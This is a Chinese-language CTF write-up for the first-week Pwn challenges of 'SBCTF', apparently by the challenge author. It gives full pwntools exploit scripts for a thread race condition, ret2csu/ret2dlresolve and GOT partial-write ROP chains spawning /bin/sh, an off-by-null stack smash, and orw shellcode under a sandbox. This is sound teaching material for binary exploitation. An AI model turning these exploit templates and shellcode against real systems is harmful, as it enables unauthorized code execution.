SBCTF-Week1-Pwn

Rise of the Dragon Slayer	Pwn	pwntools使用	Tplus
Path of the Brave	Pwn	shellcoding	Tplus
Trials of the Apprentice	Pwn	ret2csu + ret2dlresolve/partial write got with no-leak rop	Tplus
Journey of the Chosen	Pwn	简单race	Tplus
Legacy of the Conqueror	Pwn	off by null ＋ stack smash	Tplus

Rise_of_the_Dragon_Slayer

简单的pwntools交互题，可以由rand伪随机直接拿ans，也可以交互，懒得写伪随机的wp了(x

```
from pwn import *
context.log_level = 'debug'

#p = process("./1")
p = remote("47.76.71.50",20001)
p.recvuntil(b'Now, you need to answer 20 questions to test your
intelligence.\n')
for i in range(20):
    a = p.recvline()[:-3]
    ans = int(eval(a))
    p.sendlineafter("Please input your answer:\n",str(ans).encode())
p.recvuntil(b'Aim and attack.\n')
for i in range(20):
    a = p.recvline()
    index = a.find(b'M')
    p.sendlineafter("Input the position you want to
attack:\n",str(index).encode())
p.interactive()
```

Journey_of_the_Chosen

首先分析程序的执行流程，main函数设置了无缓冲，然后是一个菜单。

通过简单的源码审计，显然我们需要执行`fight()`获得shell，需要全局变量`power > monster_power`。

```
void fight()
{
    if (power > monster_power)
    {
        puts("Win!");
        system("/bin/sh");
        exit(0);
    }
    else
    {
        puts("Lose!");
        exit(0);
    }
}
```

但正常逻辑中，只有`buy()`操作了`power`与`monster_power`，我们注意到，如果`chance! = 0`,此时`monster_power`不会递增，仅有`power`会递增，而在之后，又会将`chance`置零。

```
void buy()
{
    if (chance == 0)
    {
        monster_power = monster_power + 5;
    }
    else
    {
        chance = 0;
    }
    power = power + 2;
}
```

而`gift()`中有关于`chance`的操作。矛盾的是，他要求`monster_power > power`,与我们的所需求的`power > monster_power` 相悖。同时，看起来他会将flag置0，导致我们只能做到一次只递增power，不递增monster_power。

```
int *gift()
{
    if (monster_power <= power)
    {
        puts("No");
        return 0;
    }
    if (flag == 1)
    {
        chance = 1;
        usleep(50000);
        flag = 0;
    }
    else
    {
        puts("Only have one chance");
    }
    return 0;
}
```

而又注意到，gift是由线程执行，于是结合题目名，我们容易得出一个简单的竞争思路。

```
pthread_create(&th1, NULL, gift, &pstr1);
```

主进程	线程1	线程2
调用`buy()` 此时 `monster_power = 5`， `power = 2`		
调用`gift()`		
	满足`monster_power > power`,向下执行,将`chance`置1	
调用`buy()`,此时由于`chance`为1，只递增b，此时`monster_power = 5`,`power = 4`同时，这里将`chance`置0	sleep(1)	
调用`gift()`		
		仍满足`monster_power > power`，向下执行，由于线程1还在sleep，没有将`flag`置0，仍然可以将`chance`置1
调用`buy()`,此时由于`chance`为1，只递增b，此时`monster_power = 5`,`power = 6`同时，这里将`chance`置0		sleep(1)
满足`b > a`,调用 `fight()`		

于是我们可以完成一个简单的exp来验证我们的思路

```python
from pwn import *
context.log_level='debug'
p = remote("47.76.71.50",20068)
#p = process("./2")
def cmd(c):
    p.sendlineafter(b'Choice> ',str(c).encode())

def buy():
    cmd(1)
def gift():
    cmd(2)
def fight():
    cmd(3)
def _exit():
    cmd(4)


buy()

gift()
buy()
gift()
```

```
buy()

fight()

p.interactive()
```

Trials_of_the_Apprentice

无leak rop，可以覆盖got低位写syscall然后做个ret2syscall，也可以ret2dlresolve，我比较懒我直接拿板子打后者了:)

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#p = remote("47.76.71.50",20001)
p = process("./3")
libc = ELF("./libc.so.6")
elf = ELF("./3")
read = elf.got['read']
retn = 0x401254
def dbg():
    gdb.attach(p)
    pause()
csu1 = 0x40124A
csu2 = 0x401230
binsh = 0x404e58
jmp = 0x40103B
pop_rdi = 0x0000000000401253
dlresolve = Ret2dlresolvePayload(elf,'system',args=["/bin/sh"])
payload = b'a'*0x10 + p64(0)
payload += p64(csu1)
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(0) #edi
payload += p64(dlresolve.data_addr) #rsi
payload += p64(0x1000) #rdx
payload += p64(read) #call
payload += p64(csu2)
payload += p64(0)*7
payload += p64(retn)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(jmp)
payload += p64(dlresolve.reloc_index)
#dbg()
p.sendline(payload)
p.sendline(dlresolve.payload)
p.interactive()
```

间接写got为syscall，From Astrageldon:

```
#r = process("./pwn")
r = remote("47.76.71.50", 20012)
elf = ELF('./pwn')

poprdi = 0x401253
poprsi = 0x401251
```

```
gadget1 = 0x401246
gadget2 = 0x401230
ppp6 = 0x40124A
bss = 0x404040
buf = bss + 0x200

payload = b'a'*0x18 + flat([poprsi, elf.got['alarm'], 0, elf.sym['read'],
poprsi, buf, 0, elf.sym['read'], ppp6, 0, 0, buf, 0,0, elf.got['alarm'],
gadget2])

r.send(payload.ljust(0x200, b'\x00'))
pause()
r.send(b'\x99')
pause()
r.send(b'/bin/sh'.ljust(0x3b, b'\x00'))     # rax -> 0x3b -> execve

r.interactive()
r.close()
```

Legacy_of_the_Conqueror

input里有off by null能把fd写成0，然后有个很大的栈溢出 libc version是2.23，可以由stash任意读，把flag读出即可

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote("47.76.71.50",20001)
#p = process("./4")
def cmd(c):
    p.sendlineafter("3.Continue your adventure\n",str(c).encode())
def readflag():
    cmd(1)
def update_story():
    cmd(2)
    p.sendafter("Please input your story:\n",b'a'*0x40)
    #gdb.attach(p)
    #pause()
    flag_addr = 0x404060
    p.sendlineafter("Your old story:",b'a'*0x4 + p64(flag_addr)*0x30)
readflag()
update_story()
p.interactive()
```

Path_of_the_Brave

沙箱只允许了orw和exit

允许读入0xf，显然一次是不能完成orw的，重新构造一次read，继续读一次shellcode就行

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote("47.76.71.50",20001)
#p = process('./5')
```

```
def dbg():
    gdb.attach(p)
    pause()
sc = '''
    lea rsi,[rip]
    mov dx,0x1000
    syscall
'''
#dbg()
p.sendline(asm(sc))

sc = '''
    xchg rsi,r11
    add r11,0x301

    mov rax,2
    mov rsp,r11
    push 0x67616c66
    mov rdi,rsp
    xor si,si
    xor dx,dx
    syscall

    mov rdi,rax
    xor rax,rax
    mov rsi,rsp
    mov dx,0x100
    syscall

    mov rax,1
    mov rdi,1
    mov rsi,rsp
    mov dx,0x100
    syscall

    jmp $
'''
sc = asm(sc)
sc = sc.rjust(0x100, b'\x90')
pause()
p.sendline(sc)
p.interactive()
```

碎碎念

搞了一些不明所以的题目名想吸引点23小东西来打一打，感觉23解题还是不如预期？而且题目名不知道大家感觉尬不尬。下周还是搞点板子题让大家做的开心一点点吧x，算半个新生赛还是比较简单的，希望老师傅们手下留情给小东西留点血。